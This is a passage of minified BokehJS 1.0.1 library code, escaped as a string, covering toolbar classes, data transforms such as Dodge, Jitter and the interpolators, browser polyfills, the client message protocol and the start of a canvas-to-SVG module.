t.default_order}),\\\"tap\\\"==d){if(null==this.active_tap)continue;\\\"auto\\\"==this.active_tap?p(f.tools[0]):p(this.active_tap)}if(\\\"pan\\\"==d){if(null==this.active_drag)continue;\\\"auto\\\"==this.active_drag?p(f.tools[0]):p(this.active_drag)}if(\\\"pinch\\\"==d||\\\"scroll\\\"==d){if(null==this.active_scroll||\\\"auto\\\"==this.active_scroll)continue;p(this.active_scroll)}null!=this.active_multi&&p(this.active_multi)}}},t}(o.ToolbarBase);(i.Toolbar=s).initClass()},function(t,e,i){var n=t(391),a=t(14),c=t(5),r=t(4),o=t(15),s=t(6),l=t(44),h=t(59),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.define({_visible:[o.Bool,null],autohide:[o.Bool,!1]})},Object.defineProperty(t.prototype,\\\"visible\\\",{get:function(){return!this.autohide||null!=this._visible&&this._visible},enumerable:!0,configurable:!0}),t}(h.Model);(i.ToolbarViewModel=u).initClass();var _=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._tool_button_views={},this._build_tool_button_views(),this._toolbar_view_model=new u({autohide:this.model.autohide})},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.tools.change,function(){return t._build_tool_button_views()}),this.connect(this.model.properties.autohide.change,function(){t._toolbar_view_model.autohide=t.model.autohide,t._on_visible_change()}),this.connect(this._toolbar_view_model.properties._visible.change,function(){return t._on_visible_change()})},t.prototype.remove=function(){r.remove_views(this._tool_button_views),e.prototype.remove.call(this)},t.prototype._build_tool_button_views=function(){var t=null!=this.model._proxied_tools?this.model._proxied_tools:this.model.tools;r.build_views(this._tool_button_views,t,{parent:this},function(t){return t.button_view})},t.prototype.set_visibility=function(t){t!=this._toolbar_view_model._visible&&(this._toolbar_view_model._visible=t)},t.prototype._on_visible_change=function(){var t=this._toolbar_view_model.visible,e=\\\"bk-toolbar-hidden\\\";this.el.classList.contains(e)&&t?this.el.classList.remove(e):t||this.el.classList.add(e)},t.prototype.render=function(){var e=this;if(c.empty(this.el),this.el.classList.add(\\\"bk-toolbar\\\"),this.el.classList.add(\\\"bk-toolbar-\\\"+this.model.toolbar_location),this._toolbar_view_model.autohide=this.model.autohide,this._on_visible_change(),null!=this.model.logo){var t=\\\"grey\\\"===this.model.logo?\\\"bk-grey\\\":null,i=c.a({href:\\\"https://bokeh.pydata.org/\\\",target:\\\"_blank\\\",class:[\\\"bk-logo\\\",\\\"bk-logo-small\\\",t]});this.el.appendChild(i)}var n=[],r=function(t){return e._tool_button_views[t.id].el},o=this.model.gestures;for(var s in o)n.push(o[s].tools.map(r));n.push(this.model.actions.map(r)),n.push(this.model.inspectors.filter(function(t){return t.toggleable}).map(r)),n.push(this.model.help.map(r));for(var a=0,l=n;a<l.length;a++){var h=l[a];if(0!==h.length){var u=c.div({class:\\\"bk-button-bar\\\"},h);this.el.appendChild(u)}}},t}(s.DOMView);i.ToolbarBaseView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBase\\\",this.prototype.default_view=_,this.define({tools:[o.Array,[]],logo:[o.String,\\\"normal\\\"],autohide:[o.Bool,!1]}),this.internal({gestures:[o.Any,function(){return{pan:{tools:[],active:null},scroll:{tools:[],active:null},pinch:{tools:[],active:null},tap:{tools:[],active:null},doubletap:{tools:[],active:null},press:{tools:[],active:null},rotate:{tools:[],active:null},move:{tools:[],active:null},multi:{tools:[],active:null}}}],actions:[o.Array,[]],inspectors:[o.Array,[]],help:[o.Array,[]],toolbar_location:[o.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"horizontal\\\",{get:function(){return\\\"above\\\"===this.toolbar_location||\\\"below\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vertical\\\",{get:function(){return\\\"left\\\"===this.toolbar_location||\\\"right\\\"===this.toolbar_location},enumerable:!0,configurable:!0}),t.prototype._active_change=function(t){var e=t.event_type;if(null!=e)for(var i=l.isString(e)?[e]:e,n=0,r=i;n<r.length;n++){var o=r[n];if(t.active){var s=this.gestures[o].active;null!=s&&t!=s&&(a.logger.debug(\\\"Toolbar: deactivating tool: \\\"+s.type+\\\" (\\\"+s.id+\\\") for event type '\\\"+o+\\\"'\\\"),s.active=!1),this.gestures[o].active=t,a.logger.debug(\\\"Toolbar: activating tool: \\\"+t.type+\\\" (\\\"+t.id+\\\") for event type '\\\"+o+\\\"'\\\")}else this.gestures[o].active=null}},t}(h.Model);(i.ToolbarBase=p).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(5),a=t(14),l=t(44),E=t(21),h=t(232),u=t(234),c=t(251),_=t(264),s=t(269),M=t(267),p=t(157),d=t(4),f=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ProxyToolbar\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools(),this._merge_tools()},t.prototype._init_tools=function(){for(var t=function(e){if(e instanceof _.InspectTool)E.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof u.HelpTool)E.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof h.ActionTool)E.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof c.GestureTool){var t=void 0,i=void 0;l.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),E.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e]))):a.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,e=0,i=this.tools;e<i.length;e++){var n=i[e];t(n)}},t.prototype._merge_tools=function(){var t,n=this;this._proxied_tools=[];for(var e={},i={},r={},o=[],s=[],a=0,l=this.help;a<l.length;a++){var h=l[a];E.includes(s,h.redirect)||(o.push(h),s.push(h.redirect))}for(var u in(t=this._proxied_tools).push.apply(t,o),this.help=o,this.gestures){var c=this.gestures[u];u in r||(r[u]={});for(var _=0,p=c.tools;_<p.length;_++){var d=p[_];d.type in r[u]||(r[u][d.type]=[]),r[u][d.type].push(d)}}for(var f=0,v=this.inspectors;f<v.length;f++){var d=v[f];d.type in e||(e[d.type]=[]),e[d.type].push(d)}for(var m=0,g=this.actions;m<g.length;m++){var d=g[m];d.type in i||(i[d.type]=[]),i[d.type].push(d)}var y=function(t,e){void 0===e&&(e=!1);var i=new M.ToolProxy({tools:t,active:e});return n._proxied_tools.push(i),i};for(var u in r){var c=this.gestures[u];for(var b in c.tools=[],r[u]){var x=r[u][b];if(0<x.length)if(\\\"multi\\\"==u)for(var w=0,k=x;w<k.length;w++){var d=k[w],S=y([d]);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}else{var S=y(x);c.tools.push(S),this.connect(S.properties.active.change,this._active_change.bind(this,S))}}}for(var b in this.actions=[],i){var x=i[b];if(\\\"CustomAction\\\"==b)for(var C=0,T=x;C<T.length;C++){var d=T[C];this.actions.push(y([d]))}else 0<x.length&&this.actions.push(y(x))}for(var b in this.inspectors=[],e){var x=e[b];0<x.length&&this.inspectors.push(y(x,!0))}for(var A in this.gestures){var c=this.gestures[A];0!=c.tools.length&&(c.tools=E.sortBy(c.tools,function(t){return t.default_order}),\\\"pinch\\\"!=A&&\\\"scroll\\\"!=A&&\\\"multi\\\"!=A&&(c.tools[0].active=!0))}},t}(s.ToolbarBase);(i.ProxyToolbar=f).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.model.toolbar.toolbar_location=this.model.toolbar_location,this._toolbar_views={},d.build_views(this._toolbar_views,[this.model.toolbar],{parent:this})},t.prototype.remove=function(){d.remove_views(this._toolbar_views),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-toolbar-box\\\")},t.prototype.render=function(){e.prototype.render.call(this);var t=this._toolbar_views[this.model.toolbar.id];t.render(),o.empty(this.el),this.el.appendChild(t.el)},t.prototype.get_width=function(){return this.model.toolbar.vertical?30:null},t.prototype.get_height=function(){return this.model.toolbar.horizontal?30:null},t}(p.LayoutDOMView);i.ToolbarBoxView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBox\\\",this.prototype.default_view=v,this.define({toolbar:[r.Instance],toolbar_location:[r.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"sizing_mode\\\",{get:function(){switch(this.toolbar_location){case\\\"above\\\":case\\\"below\\\":return\\\"scale_width\\\";case\\\"left\\\":case\\\"right\\\":return\\\"scale_height\\\"}},enumerable:!0,configurable:!0}),t}(p.LayoutDOM);(i.ToolbarBox=m).initClass()},function(t,e,i){var r=t(21),o=t(185),s=t(186);i.compute_renderers=function(t,e,i){return null==t?[]:(n=\\\"auto\\\"==t?e.filter(function(t){return t instanceof o.GlyphRenderer||t instanceof s.GraphRenderer}):t,0<i.length&&(n=n.filter(function(t){return r.includes(i,t.name)})),n);var n}},function(i,t,e){var n=i(391),r=i(279),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSTransform\\\",this.define({args:[o.Any,{}],func:[o.String,\\\"\\\"],v_func:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_transform=function(t,e){var i=this.use_strict?a.use_strict(e):e;return new(Function.bind.apply(Function,[void 0].concat(this.names,[t,\\\"require\\\",\\\"exports\\\",i])))},Object.defineProperty(t.prototype,\\\"scalar_transform\\\",{get:function(){return this._make_transform(\\\"x\\\",this.func)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vector_transform\\\",{get:function(){return this._make_transform(\\\"xs\\\",this.v_func)},enumerable:!0,configurable:!0}),t.prototype.compute=function(t){return this.scalar_transform.apply(this,this.values.concat([t,i,{}]))},t.prototype.v_compute=function(t){return this.vector_transform.apply(this,this.values.concat([t,i,{}]))},t}(r.Transform);(e.CustomJSTransform=l).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(15),a=t(44),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dodge\\\",this.define({value:[s.Number,0],range:[s.Instance]})},t.prototype.v_compute=function(t){var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!a.isArrayableOf(t,a.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(a.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){return t+this.value},t}(r.Transform);(i.Dodge=l).initClass()},function(t,e,i){var n=t(272);i.CustomJSTransform=n.CustomJSTransform;var r=t(273);i.Dodge=r.Dodge;var o=t(275);i.Interpolator=o.Interpolator;var s=t(276);i.Jitter=s.Jitter;var a=t(277);i.LinearInterpolator=a.LinearInterpolator;var l=t(278);i.StepInterpolator=l.StepInterpolator;var h=t(279);i.Transform=h.Transform},function(t,e,i){var n=t(391),r=t(279),o=t(15),c=t(21),_=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e._sorted_dirty=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Interpolator\\\",this.define({x:[o.Any],y:[o.Any],data:[o.Any],clip:[o.Bool,!0]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._sorted_dirty=!0})},t.prototype.v_compute=function(t){for(var e=new Float64Array(t.length),i=0;i<t.length;i++){var n=t[i];e[i]=this.compute(n)}return e},t.prototype.sort=function(t){if(void 0===t&&(t=!1),this._sorted_dirty){var e,i;if(_.isString(this.x)&&_.isString(this.y)&&null!=this.data){var n=this.data.columns();if(!c.includes(n,this.x))throw new Error(\\\"The x parameter does not correspond to a valid column name defined in the data parameter\\\");if(!c.includes(n,this.y))throw new Error(\\\"The y parameter does not correspond to a valid column name defined in the data parameter\\\");e=this.data.get_column(this.x),i=this.data.get_column(this.y)}else{if(!_.isArray(this.x)||!_.isArray(this.y))throw new Error(\\\"parameters 'x' and 'y' must be both either string fields or arrays\\\");e=this.x,i=this.y}if(e.length!==i.length)throw new Error(\\\"The length for x and y do not match\\\");if(e.length<2)throw new Error(\\\"x and y must have at least two elements to support interpolation\\\");var r=[];for(var o in e)r.push({x:e[o],y:i[o]});t?r.sort(function(t,e){return t.x>e.x?-1:t.x==e.x?0:1}):r.sort(function(t,e){return t.x<e.x?-1:t.x==e.x?0:1}),this._x_sorted=[],this._y_sorted=[];for(var s=0,a=r;s<a.length;s++){var l=a[s],h=l.x,u=l.y;this._x_sorted.push(h),this._y_sorted.push(u)}this._sorted_dirty=!1}},t}(r.Transform);(i.Interpolator=s).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(44),a=t(15),l=t(31),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Jitter\\\",this.define({mean:[a.Number,0],width:[a.Number,1],distribution:[a.Distribution,\\\"uniform\\\"],range:[a.Instance]}),this.internal({previous_values:[a.Array]})},t.prototype.v_compute=function(t){if(null!=this.previous_values&&this.previous_values.length==t.length)return this.previous_values;var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!s.isArrayableOf(t,s.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return this.previous_values=i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(s.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){switch(this.distribution){case\\\"uniform\\\":return t+this.mean+(l.random()-.5)*this.width;case\\\"normal\\\":return t+l.rnorm(this.mean,this.width)}},t}(r.Transform);(i.Jitter=h).initClass()},function(t,e,i){var n=t(391),s=t(21),r=t(275),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearInterpolator\\\"},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}if(e==this._x_sorted[0])return this._y_sorted[0];var t=s.findLastIndex(this._x_sorted,function(t){return t<e}),i=this._x_sorted[t],n=this._x_sorted[t+1],r=this._y_sorted[t],o=this._y_sorted[t+1];return r+(e-i)/(n-i)*(o-r)},t}(r.Interpolator);(i.LinearInterpolator=o).initClass()},function(t,e,i){var n=t(391),r=t(275),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StepInterpolator\\\",this.define({mode:[o.StepMode,\\\"after\\\"]})},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}var t;switch(this.mode){case\\\"after\\\":t=s.findLastIndex(this._x_sorted,function(t){return t<=e});break;case\\\"before\\\":t=s.findIndex(this._x_sorted,function(t){return e<=t});break;case\\\"center\\\":var i=this._x_sorted.map(function(t){return Math.abs(t-e)}),n=s.min(i);t=s.findIndex(i,function(t){return n===t});break;default:throw new Error(\\\"unknown mode: \\\"+this.mode)}return-1!=t?this._y_sorted[t]:NaN},t}(r.Interpolator);(i.StepInterpolator=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Transform\\\"},t}(r.Model);(i.Transform=o).initClass()},function(t,e,i){\\\"function\\\"!=typeof WeakMap&&t(342),Number.isInteger||(Number.isInteger=function(t){return\\\"number\\\"==typeof t&&isFinite(t)&&Math.floor(t)===t});var n,l,r,h,o=String.prototype;o.repeat||(o.repeat=function(t){if(null==this)throw new TypeError(\\\"can't convert \\\"+this+\\\" to object\\\");var e=\\\"\\\"+this;if((t=+t)!=t&&(t=0),t<0)throw new RangeError(\\\"repeat count must be non-negative\\\");if(t==1/0)throw new RangeError(\\\"repeat count must be less than infinity\\\");if(t=Math.floor(t),0==e.length||0==t)return\\\"\\\";if(e.length*t>=1<<28)throw new RangeError(\\\"repeat count must not overflow maximum string size\\\");for(var i=\\\"\\\";1==(1&t)&&(i+=e),0!=(t>>>=1);)e+=e;return i}),Array.from||(Array.from=(n=Object.prototype.toString,l=function(t){return\\\"function\\\"==typeof t||\\\"[object Function]\\\"===n.call(t)},r=Math.pow(2,53)-1,h=function(t){var e,i=(e=Number(t),isNaN(e)?0:0!==e&&isFinite(e)?(0<e?1:-1)*Math.floor(Math.abs(e)):e);return Math.min(Math.max(i,0),r)},function(t){var e=Object(t);if(null==t)throw new TypeError(\\\"Array.from requires an array-like object - not null or undefined\\\");var i,n=1<arguments.length?arguments[1]:void 0;if(void 0!==n){if(!l(n))throw new TypeError(\\\"Array.from: when provided, the second argument must be a function\\\");2<arguments.length&&(i=arguments[2])}for(var r=h(e.length),o=l(this)?Object(new this(r)):new Array(r),s=0\\n      // 13. If IsConstructor(C) is true, then\\n      ;s<r;){var a=e[s];o[s]=n?void 0===i?n(a,s):n.call(i,a,s):a,s+=1}return o.length=r,o}))},function(t,e,i){var n=t(391);n.__exportStar(t(282),i),n.__exportStar(t(283),i)},function(t,e,i){var n=t(38),r=function(){function s(t,e,i){this.header=t,this.metadata=e,this.content=i,this.buffers=[]}return s.assemble=function(t,e,i){var n=JSON.parse(t),r=JSON.parse(e),o=JSON.parse(i);return new s(n,r,o)},s.prototype.assemble_buffer=function(t,e){var i=null!=this.header.num_buffers?this.header.num_buffers:0;if(i<=this.buffers.length)throw new Error(\\\"too many buffers received, expecting #{nb}\\\");this.buffers.push([t,e])},s.create=function(t,e,i){void 0===i&&(i={});var n=s.create_header(t);return new s(n,e,i)},s.create_header=function(t){return{msgid:n.uniqueId(),msgtype:t}},s.prototype.complete=function(){return!(null==this.header||null==this.metadata||null==this.content||\\\"num_buffers\\\"in this.header&&this.buffers.length!==this.header.num_buffers)},s.prototype.send=function(t){var e=null!=this.header.num_buffers?this.header.num_buffers:0;if(0<e)throw new Error(\\\"BokehJS only supports receiving buffers, not sending\\\");var i=JSON.stringify(this.header),n=JSON.stringify(this.metadata),r=JSON.stringify(this.content);t.send(i),t.send(n),t.send(r)},s.prototype.msgid=function(){return this.header.msgid},s.prototype.msgtype=function(){return this.header.msgtype},s.prototype.reqid=function(){return this.header.reqid},s.prototype.problem=function(){return\\\"msgid\\\"in this.header?\\\"msgtype\\\"in this.header?null:\\\"No msgtype in header\\\":\\\"No msgid in header\\\"},s}();i.Message=r},function(t,e,i){var o=t(282),n=function(){function t(){this.message=null,this._partial=null,this._fragments=[],this._buf_header=null,this._current_consumer=this._HEADER}return t.prototype.consume=function(t){this._current_consumer(t)},t.prototype._HEADER=function(t){this._assume_text(t),this.message=null,this._partial=null,this._fragments=[t],this._buf_header=null,this._current_consumer=this._METADATA},t.prototype._METADATA=function(t){this._assume_text(t),this._fragments.push(t),this._current_consumer=this._CONTENT},t.prototype._CONTENT=function(t){this._assume_text(t),this._fragments.push(t);var e=this._fragments.slice(0,3),i=e[0],n=e[1],r=e[2];this._partial=o.Message.assemble(i,n,r),this._check_complete()},t.prototype._BUFFER_HEADER=function(t){this._assume_text(t),this._buf_header=t,this._current_consumer=this._BUFFER_PAYLOAD},t.prototype._BUFFER_PAYLOAD=function(t){this._assume_binary(t),this._partial.assemble_buffer(this._buf_header,t),this._check_complete()},t.prototype._assume_text=function(t){if(t instanceof ArrayBuffer)throw new Error(\\\"Expected text fragment but received binary fragment\\\")},t.prototype._assume_binary=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Expected binary fragment but received text fragment\\\")},t.prototype._check_complete=function(){this._partial.complete()?(this.message=this._partial,this._current_consumer=this._HEADER):this._current_consumer=this._BUFFER_HEADER},t}();i.Receiver=n},function(t,e,i){i.safely=function(t,e){void 0===e&&(e=!1);try{return t()}catch(t){if(function(t){var e=document.createElement(\\\"div\\\");e.style.backgroundColor=\\\"#f2dede\\\",e.style.border=\\\"1px solid #a94442\\\",e.style.borderRadius=\\\"4px\\\",e.style.display=\\\"inline-block\\\",e.style.fontFamily=\\\"sans-serif\\\",e.style.marginTop=\\\"5px\\\",e.style.minWidth=\\\"200px\\\",e.style.padding=\\\"5px 5px 5px 10px\\\",e.classList.add(\\\"bokeh-error-box-into-flames\\\");var i=document.createElement(\\\"span\\\");i.style.backgroundColor=\\\"#a94442\\\",i.style.borderRadius=\\\"0px 4px 0px 0px\\\",i.style.color=\\\"white\\\",i.style.cursor=\\\"pointer\\\",i.style.cssFloat=\\\"right\\\",i.style.fontSize=\\\"0.8em\\\",i.style.margin=\\\"-6px -6px 0px 0px\\\",i.style.padding=\\\"2px 5px 4px 5px\\\",i.title=\\\"close\\\",i.setAttribute(\\\"aria-label\\\",\\\"close\\\"),i.appendChild(document.createTextNode(\\\"x\\\")),i.addEventListener(\\\"click\\\",function(){return s.removeChild(e)});var n=document.createElement(\\\"h3\\\");n.style.color=\\\"#a94442\\\",n.style.margin=\\\"8px 0px 0px 0px\\\",n.style.padding=\\\"0px\\\",n.appendChild(document.createTextNode(\\\"Bokeh Error\\\"));var r=document.createElement(\\\"pre\\\");r.style.whiteSpace=\\\"unset\\\",r.style.overflowX=\\\"auto\\\";var o=t instanceof Error?t.message:t;r.appendChild(document.createTextNode(o)),e.appendChild(i),e.appendChild(n),e.appendChild(r);var s=document.getElementsByTagName(\\\"body\\\")[0];s.insertBefore(e,s.firstChild)}(t),e)return;throw t}}},function(t,e,n){function r(){var t=document.getElementsByTagName(\\\"body\\\")[0],e=document.getElementsByClassName(\\\"bokeh-test-div\\\");1==e.length&&t.removeChild(e[0]),delete e[0];var i=document.createElement(\\\"div\\\");i.classList.add(\\\"bokeh-test-div\\\"),i.style.display=\\\"none\\\",t.insertBefore(i,t.firstChild)}n.results={},n.init=function(){r()},n.record=function(t,e){n.results[t]=e,r()},n.count=function(t){null==n.results[t]&&(n.results[t]=0),n.results[t]+=1,r()},n.clear=function(){for(var t=0,e=Object.keys(n.results);t<e.length;t++){var i=e[t];delete n.results[i]}r()}},function(t,e,i){i.version=\\\"1.0.1\\\"},function(t,e,i){!function(){\\\"use strict\\\";var _,x,p,d,a;function f(t,e){var i,n=Object.keys(e);for(i=0;i<n.length;i++)t=t.replace(new RegExp(\\\"\\\\\\\\{\\\"+n[i]+\\\"\\\\\\\\}\\\",\\\"gi\\\"),e[n[i]]);return t}function l(t){var e,i,n;if(!t)throw new Error(\\\"cannot create a random attribute name for an undefined object\\\");e=\\\"ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\\\",i=\\\"\\\";do{for(i=\\\"\\\",n=0;n<12;n++)i+=e[Math.floor(Math.random()*e.length)]}while(t[i]);return i}a=function(t,e){var i,n,r,o={};for(t=t.split(\\\",\\\"),e=e||10,i=0;i<t.length;i+=2)n=\\\"&\\\"+t[i+1]+\\\";\\\",r=parseInt(t[i],e),o[n]=\\\"&#\\\"+r+\\\";\\\";return o[\\\"\\\\\\\\xa0\\\"]=\\\"&#160;\\\",o}(\\\"50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro\\\",32),_={strokeStyle:{svgAttr:\\\"stroke\\\",canvas:\\\"#000000\\\",svg:\\\"none\\\",apply:\\\"stroke\\\"},fillStyle:{svgAttr:\\\"fill\\\",canvas:\\\"#000000\\\",svg:null,apply:\\\"fill\\\"},lineCap:{svgAttr:\\\"stroke-linecap\\\",canvas:\\\"butt\\\",svg:\\\"butt\\\",apply:\\\"stroke\\\"},lineJoin:{svgAttr:\\\"stroke-linejoin\\\",canvas:\\\"miter\\\",svg:\\\"miter\\\",apply:\\\"stroke\\\"},miterLimit:{svgAttr:\\\"stroke-miterlimit\\\",canvas:10,svg:4,apply:\\\"stroke\\\"},lineWidth:{svgAttr:\\\"stroke-width\\\",canvas:1,svg:1,apply:\\\"stroke\\\"},globalAlpha:{svgAttr:\\\"opacity\\\",canvas:1,svg:1,apply:\\\"fill stroke\\\"},font:{canvas:\\\"10px sans-serif\\\"},shadowColor:{canvas:\\\"#000000\\\"},shadowOffsetX:{canvas:0},shadowOffsetY:{canvas:0},shadowBlur:{canvas:0},textAlign:{canvas:\\\"start\\\"},textBaseline:{canvas:\\\"alphabetic\\\"},lineDash:{svgAttr:\\\"stroke-dasharray\\\",canvas:[],svg:null,apply:\\\"stroke\\\"}},(p=function(t,e){this.__root=t,this.__ctx=e}).prototype.addColorStop=function(t,e){var 